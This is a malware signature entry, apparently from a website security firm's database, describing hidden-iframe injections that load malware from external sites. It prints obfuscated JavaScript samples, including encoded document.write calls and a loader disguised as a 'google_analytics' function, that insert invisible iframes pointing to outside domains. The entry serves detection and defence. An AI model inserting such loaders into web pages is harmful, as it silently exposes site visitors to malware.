Home Testimonials Company Support 1–888–873–0817
PRICING SUPPORT LOGIN
Home Notes Malware Signatures About

Malware entry: MW:IFRAME:HD3

Description: A Hidden iframe was detected. This is often used to load malware from external web sites while not being visible to the user.

Affecting: Any web site

Malware dump (sample of malware):

document.write('< script type="text/javascript" src="/js//log.php".. document.write(unescape('%3ci%66ram%65 width='+'1 %68eight=1 border=%30 f%72ameb%6fr%64er=0 %73rc=%27h%74tp%3a/%2fjenaall'+'ee%2ecom/st%64/%67o.php?sid='+'1%27%3e%3c'+'/if%72ame%3e.. document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%72%65%79%63%72%6F%73%73%2E%63%6F%6D%2F%74%6F%6D%69%2F%3F%74%3D%32%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%20%73%74%79%6C%65%3D%22%68%69%64%64%65%6E%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%30%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%3E%3C%2F%69%66%72%61%6D%65%3E... function google_analytics() {var t,o,l,i,j; var s='';s+='060047116101120116097116101097062060047116101120116097114101097062'; s+='060105102114097109101032115114099061034104116116112058047047116114097102102108111097100115046105110'; s=s+'047105110046099103105063100101102097117108116034032119105100116104061034049034032104101105103104116'; s=s+'061034049034032115116121108101061034100105115112108097121058110111110101034062060047105102114097109'; s=s+'101062';t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30)); document.write(String.fromCharCode(t));t='';}}google_analytics();

For all our web-based malware signatures, go here: http://labs.sucuri.net/?malwaredb